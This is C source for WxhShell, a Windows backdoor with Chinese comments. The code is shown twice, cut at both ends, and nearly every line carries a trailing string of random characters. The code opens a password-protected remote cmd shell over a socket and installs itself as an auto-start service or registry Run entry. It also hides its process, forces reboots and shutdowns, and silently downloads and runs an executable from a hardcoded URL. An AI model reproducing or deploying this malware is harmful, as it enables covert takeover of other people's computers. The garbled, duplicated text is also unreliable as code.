    ExitThread(0); BPRhGG|9j  
    } *$+k-BV  
    break; \/=w \Tj  
    } /S9s%scAy  
  // 获取shell e$!01Y$HI  
  case 's': { JBzRL"|  
    CmdShell(wsh); G-FeDP  
    closesocket(wsh); 5X"y46i,H  
    ExitThread(0); O#[+= ^  
    break; rBNl%+ sB  
  }  ?X{ul  
  // 退出 )Pr*\<Cld  
  case 'x': { { |dU|h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -jN:~.  
    CloseIt(wsh); G.Z4h/1<  
    break; Z*r;"WHB  
    } bEx8dc`Q  
  // 离开 %&EDh2w>  
  case 'q': { )X-~+X91 S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Iu(j"b#  
    closesocket(wsh); eYSVAj  
    WSACleanup(); 79}voDFd  
    exit(1); 4-ijuqjN  
    break; Wp5w}8g  
        } +%Y`>1I^#  
  } }<G"w 5.<  
  } 2@!Ou$W  
6k14xPj  
  // 提示信息 {|cuu"j26  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xOfZ9@VU  
} H_3-"m&3  
  } ]<y _ =>  
g$=y#<2?  
  return; *c"tW8uR  
} 2oL~N*^C  
B^8]quOH  
// shell模块句柄 y9<]F6TT  
int CmdShell(SOCKET sock) Fh)`A5#  
{ wD9Gl.uQ  
STARTUPINFO si; bD*z"e  
ZeroMemory(&si,sizeof(si)); TF0DQP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P?QVT;]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a+wc"RQ |  
PROCESS_INFORMATION ProcessInfo; ,V$PV,G  
char cmdline[]="cmd"; G3 h&nH,>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /%O+]#$`0  
  return 0; ^uG^XY&ItC  
} Ed&;d+NM  
W=Y?_Oz  
// 自身启动模式 -s ]  
int StartFromService(void) JQ9JWu%a  
{ %M? A>7b  
typedef struct 8|9JJ<G7  
{ L H>oG$a  
  DWORD ExitStatus; =2sj$  
  DWORD PebBaseAddress; JI&ik_k3  
  DWORD AffinityMask; Ky6.6Y<.|  
  DWORD BasePriority; ^Ob#B!=  
  ULONG UniqueProcessId; MqA%hlq  
  ULONG InheritedFromUniqueProcessId; Z{' .fq2A  
}   PROCESS_BASIC_INFORMATION; W.nQYH  
7*{9 2_M  
PROCNTQSIP NtQueryInformationProcess; H2EKr#(  
]J`yh$a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t,CC~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =aL=SC+  
IdY\_@$ v  
  HANDLE             hProcess; C3m](%?   
  PROCESS_BASIC_INFORMATION pbi; u<}PcI.  
e+_~a8 -|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7&I+mw/X  
  if(NULL == hInst ) return 0; RU r0K#]  
y2XeD=_'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); u0 & aw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r$=YhI/=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J~\`8cds  
fi/[(RBG  
  if (!NtQueryInformationProcess) return 0; Kzv*`  
SfHs,y6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M@R_t(&=   
  if(!hProcess) return 0; x37pj)i/  
Py}`k1t*f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lDBn3U&z>  
Hh|a(Zq,  
  CloseHandle(hProcess); O&ur |&v  
ue YBD]3'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >'qkW$-95  
if(hProcess==NULL) return 0; Dg:2*m_!j{  
4nIs+  
HMODULE hMod; l}#z#L2,`  
char procName[255]; Hcts^zm2u  
unsigned long cbNeeded; T~*L [*F0  
z3 zN^ZT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WJB/X"J  
YLEk M  
  CloseHandle(hProcess); `63?FzT y  
SI/@Bbd=  
if(strstr(procName,"services")) return 1; // 以服务启动 zmREzP#X  
O@n1E'S/  
  return 0; // 注册表启动 /M Hml0u  
} Wa/&H$d\u@  
)ifEgBT  
// 主模块 81(.{Y839_  
int StartWxhshell(LPSTR lpCmdLine) =Wb!j18]  
{ d|nJp-%V  
  SOCKET wsl; ?O]iX;2vM  
BOOL val=TRUE; _t9@ vVQ  
  int port=0; {95z\UE}  
  struct sockaddr_in door; hH=H/L_Z  
y 093-  
  if(wscfg.ws_autoins) Install(); - %ul9}.  
3A~53W$M  
port=atoi(lpCmdLine); n'dxa<F2|  
Pk9 4O  
if(port<=0) port=wscfg.ws_port; 3IrmDT  
^t|CD|,K_O  
  WSADATA data; *2$I, ~(P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <($'jlZ  
p=tj>{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W~TT`%[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2J^jSgr50d  
  door.sin_family = AF_INET; ;M<jQntqS{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p@/i e@DX  
  door.sin_port = htons(port); .x 1&   
~ jR:oN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ` 0YI?$G1  
closesocket(wsl); FG?69b>  
return 1; RV*7?y%3  
} JZCRu_M>|  
71nI`.Z  
  if(listen(wsl,2) == INVALID_SOCKET) { W6b5elH@  
closesocket(wsl); {5ujKQOcR  
return 1; |"7^9(  
} j'z}m+_?  
  Wxhshell(wsl); 5CSihw/5  
  WSACleanup(); -Qt>yzD3  
Z#n!=k TTm  
return 0; }~Am{Er <l  
F<KUVe  
} qk Cj33v  
Rf &~7h'+  
// 以NT服务方式启动 U~,~GU=X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ypoJ4EZ(  
{ J9tQ@3{f  
DWORD   status = 0; kJ;fA|(I  
  DWORD   specificError = 0xfffffff; `M "O #  
?qn0].  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hkS K;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kW'xuZ&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -^y$RJC  
  serviceStatus.dwWin32ExitCode     = 0; YQB.3  
  serviceStatus.dwServiceSpecificExitCode = 0; HzW`j"\  
  serviceStatus.dwCheckPoint       = 0; f}4bnu3  
  serviceStatus.dwWaitHint       = 0; KUr}?sdz  
RJ#xq#l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \= M*x  
  if (hServiceStatusHandle==0) return; M_o<6C  
s^ t1T&  
status = GetLastError(); ews4qP  
  if (status!=NO_ERROR) (s/hK  
{ kc0YWW Q-:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S nMHk3(\  
    serviceStatus.dwCheckPoint       = 0; $1Lm=2;U  
    serviceStatus.dwWaitHint       = 0;  i7qG5U  
    serviceStatus.dwWin32ExitCode     = status; mN_KAln  
    serviceStatus.dwServiceSpecificExitCode = specificError; e}Y|' bG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vm3B>ACJ  
    return; %fS__Tb#u  
  } /$'R!d5r  
ebbC`eFD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c,$ >u,4  
  serviceStatus.dwCheckPoint       = 0; B( ]=I@L=W  
  serviceStatus.dwWaitHint       = 0; RCFocOOn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [")3c)OH|  
} 63ig!-9F  
kIHfLwh9N  
// 处理NT服务事件,比如:启动、停止 B&l5yI b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L'1p]Z"  
{ hf2Q;n&V  
switch(fdwControl) )G7")I J/X  
{ x Z 3b)j2D  
case SERVICE_CONTROL_STOP: %p5%Fs`sd  
  serviceStatus.dwWin32ExitCode = 0; mk)F3[ ke  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8vhg{L..  
  serviceStatus.dwCheckPoint   = 0; ";jj`  
  serviceStatus.dwWaitHint     = 0; \r_-gn'1b  
  { O-rHfIxY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +doZnU,  
  } -}liG  
  return; H /E.R[\+x  
case SERVICE_CONTROL_PAUSE: F`l r5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F,Ls1  
  break; 0]tr&BLl*  
case SERVICE_CONTROL_CONTINUE: ={Bcbj{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8pc=Oor2Tv  
  break; MGH(= w1  
case SERVICE_CONTROL_INTERROGATE: _z:7Dj#  
  break; p[E}:kak_-  
}; -Y#YwBy;M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LY}9$1G]  
} g\ r%A  
b)+;#m  
// 标准应用程序主函数 s~ZLnEb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `QH-VR\_  
{ NaeG2>1  
x|#R$^4CY  
// 获取操作系统版本 JXG%Cx!2}  
OsIsNt=GetOsVer(); \KlOj%s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); S4/CL4=  
z(sfX}%  
  // 从命令行安装 C;#-2^h  
  if(strpbrk(lpCmdLine,"iI")) Install(); alQMPQVin  
VdrqbZ   
  // 下载执行文件 OK{_WTCe>  
if(wscfg.ws_downexe) { \,YF['Qq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ga5O&`h  
  WinExec(wscfg.ws_filenam,SW_HIDE); =(ULfz[:  
} ]8)nIT^EP  
5PY,}1`  
if(!OsIsNt) { FLT4:B7  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;pK/t=$  
HideProc(); #KC& ct  
StartWxhshell(lpCmdLine); MP5 vc5[  
} ![=C`O6K  
else sW'SR  
  if(StartFromService()) L: hEt  
  // 以服务方式启动 ?:D#\4=US  
  StartServiceCtrlDispatcher(DispatchTable); i:9f#  
else fi5x0El  
  // 普通方式启动 Z=VAjJ;i[  
  StartWxhshell(lpCmdLine); Igowz7  
Z`L-UQJ .  
return 0; huj 6Ysr  
} "~ 1:7{k  
#r\,oXTm  
q~*9A-MH  
T%{qwZc+mJ  
=========================================== #bxUI{*J  
*VJT]^_  
jH+ddBVA  
Up:<NHJT  
2Zf} t  
FsZW,  
" #G'Y 2l  
_J'V5]=4  
#include <stdio.h> :~K c"Pg  
#include <string.h> p.(8ekh  
#include <windows.h> )f#raXa5+  
#include <winsock2.h> blbL49;  
#include <winsvc.h> o:`>r/SlL  
#include <urlmon.h> XH9Y|FX%#  
:bJT2o[  
#pragma comment (lib, "Ws2_32.lib") ;?-A 4!V,  
#pragma comment (lib, "urlmon.lib") QWqEe|}6  
CC Z'(Tkq  
#define MAX_USER   100 // 最大客户端连接数 ulY8$jB  
#define BUF_SOCK   200 // sock buffer YVcFCl  
#define KEY_BUFF   255 // 输入 buffer 5](-(?k}~  
6Vr:?TI7  
#define REBOOT     0   // 重启 |?zFm mh  
#define SHUTDOWN   1   // 关机 tOQ2947zk  
dMo456L  
#define DEF_PORT   5000 // 监听端口 a?_!  
;+d2qbGd  
#define REG_LEN     16   // 注册表键长度 #$vQT}  
#define SVC_LEN     80   // NT服务名长度 f{s}[p~  
xvx5@lx  
// 从dll定义API "eqNd"~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dj>ZHdTn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,ALEfepo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;5i~McH# t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +48a..4sN  
j c%  
// wxhshell配置信息 %}T' 3  
struct WSCFG { *{_WM}G  
  int ws_port;         // 监听端口 -&L(0?*qo  
  char ws_passstr[REG_LEN]; // 口令 7w}PYp1Z'~  
  int ws_autoins;       // 安装标记, 1=yes 0=no N0]C?+  
  char ws_regname[REG_LEN]; // 注册表键名 /z'fFl^6O  
  char ws_svcname[REG_LEN]; // 服务名 *@2+$fgz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 58TH|Rj+I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |f9fq~'1e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2P&KU%D)0s  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J|$(O$hYy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 2[^p6s[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 : `Nh}Ka0  
3&39M&  
}; l1<]pdLTR  
dm;C @.ML  
// default Wxhshell configuration #0;H'GO?c  
struct WSCFG wscfg={DEF_PORT, +(a}S$C  
    "xuhuanlingzhe", h-0#h/u>M  
    1, w6b\l1Z  
    "Wxhshell", rsr}%J  
    "Wxhshell", W~EDLLZ  
            "WxhShell Service", uyE_7)2d  
    "Wrsky Windows CmdShell Service", Kx8>  
    "Please Input Your Password: ", OI@;ffHSW  
  1, {x&"b-  
  "http://www.wrsky.com/wxhshell.exe", >gj%q$@  
  "Wxhshell.exe" AeQIsrAHE  
    }; A>0wqT  
$w:7$:k  
// 消息定义模块 &:]ej6 V'[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; g}uVuK;<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WTlR>|Zdn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; **RW 9FU  
char *msg_ws_ext="\n\rExit."; bcVzl]9  
char *msg_ws_end="\n\rQuit."; #$W bYL|  
char *msg_ws_boot="\n\rReboot..."; \Z?.Po`!j  
char *msg_ws_poff="\n\rShutdown..."; at N%csA0  
char *msg_ws_down="\n\rSave to "; ;%#.d$cU  
7v{X?86&  
char *msg_ws_err="\n\rErr!"; zB/)_AW  
char *msg_ws_ok="\n\rOK!";  Sj,>O:p  
HU~,_m  
char ExeFile[MAX_PATH]; ap 5D6y+  
int nUser = 0; .}xF2'~E/  
HANDLE handles[MAX_USER]; E%+aqA)f  
int OsIsNt; oU\Q|mN(  
y2_^lW%  
SERVICE_STATUS       serviceStatus; :)~idVlV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,_G((oS40  
QTy xx  
// 函数声明 /o/0 9K  
int Install(void); ">-mZ'$#L  
int Uninstall(void); <B3v4 f  
int DownloadFile(char *sURL, SOCKET wsh); /,tQdD&  
int Boot(int flag); ('9LUFw\  
void HideProc(void); >Rnj6A|Q  
int GetOsVer(void); FQ" ;v"  
int Wxhshell(SOCKET wsl); l.Psh7B2  
void TalkWithClient(void *cs); ".@}]z8  
int CmdShell(SOCKET sock); nQ\)~MKd  
int StartFromService(void); 'N7AVj  
int StartWxhshell(LPSTR lpCmdLine); Qz[4M`M  
@,=E[c 8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YtQsSU  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #3+-vyZm  
ZysZS%  
// 数据结构和表定义 {6/Yu: ;  
SERVICE_TABLE_ENTRY DispatchTable[] = BAJEn6f?  
{ \v*WI)]  
{wscfg.ws_svcname, NTServiceMain}, Q?1' JF!G  
{NULL, NULL} }@ +{;"  
}; <`rl[C{  
G`Ix-dADJm  
// 自我安装 h 8ND=(  
int Install(void) MO1t 0Myc  
{ A,WZ}v}_  
  char svExeFile[MAX_PATH]; Y[\ZN  
  HKEY key; t V]BcDp  
  strcpy(svExeFile,ExeFile); a4B#?p  
)q+Qtz6D  
// 如果是win9x系统,修改注册表设为自启动 n)~9  
if(!OsIsNt) {  C0Oe$& _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h_SDW %($  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D:r+3w:l]  
  RegCloseKey(key); _ @U11|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8M"0o}wx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >f !  
  RegCloseKey(key); -0tHc=\u(  
  return 0; b }^ylm  
    } 1=9M@r~ ^  
  } H*h7Y*([  
} +OM9v3qJ  
else { 5LIbHSK  
gM5`UH|  
// 如果是NT以上系统,安装为系统服务 e 1 yvvi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (F wWyt  
if (schSCManager!=0) 2a\?Q|1C  
{ ;q3"XLV(T[  
  SC_HANDLE schService = CreateService P:p@Iep  
  ( &4m\``//9  
  schSCManager, pyf/%9R:d  
  wscfg.ws_svcname, }u CC~ <^  
  wscfg.ws_svcdisp, &idPO{G  
  SERVICE_ALL_ACCESS, j9bn|p$DA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ipIexv1/S  
  SERVICE_AUTO_START, 8}Qmhm`_j=  
  SERVICE_ERROR_NORMAL, nWyn}+C-  
  svExeFile, ~ .dmfA{  
  NULL, 7e`ylnP!  
  NULL, C5W} o:jE  
  NULL, jMH=lQ+8  
  NULL, {dbPMx  
  NULL U6B-{l:W  
  ); =/|2f; Q  
  if (schService!=0) U^xz>:~  
  { Jxq;Uu9  
  CloseServiceHandle(schService); sXpA^pT"T  
  CloseServiceHandle(schSCManager); 65~X!90k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >7fNxQ  
  strcat(svExeFile,wscfg.ws_svcname); ~0^d-,ZD5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h"/y$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0fpxr`  
  RegCloseKey(key); {e1akg.  
  return 0; `u *:wJsv  
    } TsvF~Gdp  
  } (;Ad:!9{  
  CloseServiceHandle(schSCManager); )6k([u%;B  
} -q8R'?z[  
} zS6oz=  
v Mi&0$  
return 1; ?Ji nX'z  
} ISbhC!59  
"E6*.EtTN#  
// 自我卸载 qrK\f  
int Uninstall(void) y9#r SA*  
{ nKO4o8js{{  
  HKEY key; \d,wcL  
&`9p.  
if(!OsIsNt) { )Gu:eYp+`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N1vPY]8  
  RegDeleteValue(key,wscfg.ws_regname); /jtU<uX  
  RegCloseKey(key); p;Lp-9H\33  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h3<L,Olp  
  RegDeleteValue(key,wscfg.ws_regname); bS!4vc1`2  
  RegCloseKey(key); XuY#EJbZ  
  return 0; 1h[xVvo<L  
  } ==?!z<I.d  
} Y]33:c_;Mo  
} ^qro0]"LD  
else { L2j7w006  
>p[skN   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lO>9Q]S<  
if (schSCManager!=0) -fA1_ ?7S  
{ k\NwH?ppu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); mbS`+)1=l  
  if (schService!=0) p /x ]  
  { WkF60'Hf  
  if(DeleteService(schService)!=0) { [`]h23vRW  
  CloseServiceHandle(schService); 7SyysH<H  
  CloseServiceHandle(schSCManager); +4r.G(n),  
  return 0; bh~"LQS1  
  } @uJ^k >B  
  CloseServiceHandle(schService); M(8Mj[>>Rj  
  } h5do?b v!  
  CloseServiceHandle(schSCManager); uDWxIP,m  
} oQS_rv\Ber  
} 3R=R k  
I=DvP;!  
return 1; 3`mM0,fY  
} z5|m`$gy  
ALOS>Bi&  
// 从指定url下载文件 icw (y(W  
int DownloadFile(char *sURL, SOCKET wsh) "~|;XoMU  
{ 1>pFUf|cV  
  HRESULT hr; 43HZ)3!me  
char seps[]= "/"; &l0-0 T>  
char *token; FB\lUO)U\c  
char *file; us0{y7(p  
char myURL[MAX_PATH]; 6zf3A:]&{  
char myFILE[MAX_PATH];  !=f$ [1  
ylo/]pVs  
strcpy(myURL,sURL); @7fx0I'n  
  token=strtok(myURL,seps); f-BEfC,}'  
  while(token!=NULL) UgBD| ~zu  
  { @_L:W1[  
    file=token; wyVQV8+&>  
  token=strtok(NULL,seps); A;'*>NS  
  } 'ZUB:R@[  
p[J 8 r{'  
GetCurrentDirectory(MAX_PATH,myFILE); VOY#Y*)g  
strcat(myFILE, "\\"); (=/%_jj  
strcat(myFILE, file); }R\9y bv  
  send(wsh,myFILE,strlen(myFILE),0); l?rT_uO4  
send(wsh,"...",3,0); dZ"B6L!^(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {f12&t  
  if(hr==S_OK) Tx|}ke~  
return 0; -UMPt"o  
else \(.])I>)eh  
return 1; @8jc|X<A  
2=[deQs  
} D#pZN,'  
5e|2b] f$  
// 系统电源模块 u[>hs \3k  
int Boot(int flag) ]-D&/88``  
{ 5YW.s   
  HANDLE hToken; YO3$I!(  
  TOKEN_PRIVILEGES tkp; P\3$Y-id  
9_07?`Jr  
  if(OsIsNt) { Q 6)5*o8n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Onqd2'%<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @ a$HJ:  
    tkp.PrivilegeCount = 1; TSp;Vr OP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]\8{z"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j&qJK,~  
if(flag==REBOOT) { `Qg#`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?u)[xEx6}+  
  return 0; -j<g}IG  
} }p <p(  
else { +I9+L6>UR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4NN81~v 4  
  return 0; \kQ@G  
} )HFl 0[vT  
  } TfFuHzZZ  
  else { _Q $D6+  
if(flag==REBOOT) { )}KQtkU8:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \B$Q%\-PX  
  return 0; -$8M#n,  
} +~H mP Q  
else { ' >F_y t9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 82q_"y>6  
  return 0; F[65)"^  
} }$zJdf,\  
} "V>7u{T  
#;#r4sJwU  
return 1; L+b"d3!G&%  
} &M6cCT]&M  
VHUOI64*  
// win9x进程隐藏模块 'h:[[D%H`  
void HideProc(void) 4 <&8`Q  
{ 6$l6>A  
2Q/#.lNL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qDPpGI-Y2e  
  if ( hKernel != NULL ) Ijs"KAW ?  
  { G3.MS7 J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +TR#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yQ3*~d~U|L  
    FreeLibrary(hKernel); ;?A?1q8*  
  } T&5dF9a  
@rh1W$  
return; %~ROV>&  
} ST^@7f_  
%NI'PXpI  
// 获取操作系统版本 N;.cZp2  
int GetOsVer(void) NUclF|G  
{ Ju~8C\Dd  
  OSVERSIONINFO winfo; BwN>;g_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gkN|3^  
  GetVersionEx(&winfo); ];|;")#=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BU|bo")  
  return 1; `T;M=S^y*E  
  else ?D^l&`S  
  return 0; }g?9 /)z  
} wJb\Q  
05+uBwH  
// 客户端句柄模块 0k];%HV|  
int Wxhshell(SOCKET wsl) W9$mgs=S`E  
{ jq4{UW'  
  SOCKET wsh; fR4O^6c:  
  struct sockaddr_in client; <^Hh5kfS'  
  DWORD myID; ,B,2t u2  
tvC7LLNP<  
  while(nUser<MAX_USER) @Lj28&4:<  
{ (S@H'G"  
  int nSize=sizeof(client); r}gp{Pf7e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t-vH\m  
  if(wsh==INVALID_SOCKET) return 1; & q(D90w.  
~IB~>5U!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (aO+7ykRuJ  
if(handles[nUser]==0) .-:R mYGR  
  closesocket(wsh); `GG PkTN  
else U =()T}b>  
  nUser++; &UWSf  
  } )eFq0+6*)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a*8^M\>m4  
p^LUyLG`  
  return 0; XOM@Pi#z  
} n{~W s^d  
Y^?J3[@  
// 关闭 socket }tIIA"dZ  
void CloseIt(SOCKET wsh) @jE<V=?  
{ RyGce' q  
closesocket(wsh); ya9V+/i7T_  
nUser--; |!\(eLR9>  
ExitThread(0); C?FUc cI  
} wec |~Rc-  
8bB'[gJ]{  
// 客户端请求句柄 J% B(4`  
void TalkWithClient(void *cs) 7[l "=  
{ Dl3Df u8  
~6nq$(#  
  SOCKET wsh=(SOCKET)cs; ]i=\5FH e  
  char pwd[SVC_LEN]; kpkN GQ2  
  char cmd[KEY_BUFF]; mn=G6h T}W  
char chr[1]; (+Yerc.NQt  
int i,j; Jmln*,Ol7  
nKFua l3  
  while (nUser < MAX_USER) { m|O7@N  
6 ]@H.8+  
if(wscfg.ws_passstr) { .[-d( #l{l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x. 7Ln9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y%UfwbX!g  
  //ZeroMemory(pwd,KEY_BUFF); _fH.#C  
      i=0; .1yp}&e#  
  while(i<SVC_LEN) { %2<G3]6^U  
]F@XGJN  
  // 设置超时 ^n|u$gIF8  
  fd_set FdRead; _RFTm.9&  
  struct timeval TimeOut; i0($@6Lh  
  FD_ZERO(&FdRead); Z[baQO  
  FD_SET(wsh,&FdRead); )w8h2=l  
  TimeOut.tv_sec=8; ,H3~mq]  
  TimeOut.tv_usec=0; xj/ +Z!,9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nQc]f*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m~fA=#l l  
7P`|wNq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K h}Oiw  
  pwd=chr[0]; b7It8  
  if(chr[0]==0xd || chr[0]==0xa) { Y5~_y?BX  
  pwd=0; fPs' A  
  break; "lo:"y(u  
  } h Znq\p~  
  i++; hsVf/%  
    } g/b_\__A  
@)>9l&  
  // 如果是非法用户,关闭 socket m<>3GF,5bP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2 $^n@<uZ@  
} s%nx8"   
IYq)p /  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'IweN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :XK.A   
nf5Ld"|%9  
while(1) { V `V Z[  
k0{5)Su"xr  
  ZeroMemory(cmd,KEY_BUFF); *5k" v"NM(  
ZM/*cA!"  
      // 自动支持客户端 telnet标准   n|vIo)  
  j=0; -X~VXeg  
  while(j<KEY_BUFF) { I3QK~ V*j)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T`f6`1x  
  cmd[j]=chr[0]; nV-A0"z_&  
  if(chr[0]==0xa || chr[0]==0xd) { W6t"n_%?"  
  cmd[j]=0; LYPjdp2>"o  
  break; W'2|hP  
  } {I|iUfy  
  j++; hL#5:~(  
    } $UMxO`F  
u@\]r 1  
  // 下载文件 UdmYS3zs  
  if(strstr(cmd,"http://")) { YFD'&N,sx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7z'l}*FRD  
  if(DownloadFile(cmd,wsh)) K.?~@5%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ve2GRTO^aC  
  else n$Z@7r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #pbPaRJL(  
  } 1;<J] S$$  
  else { {O,D9<  
pOlo_na}[  
    switch(cmd[0]) { ~9JU_R^%m  
  D.H$4[u;j  
  // 帮助 wt4uzg8  
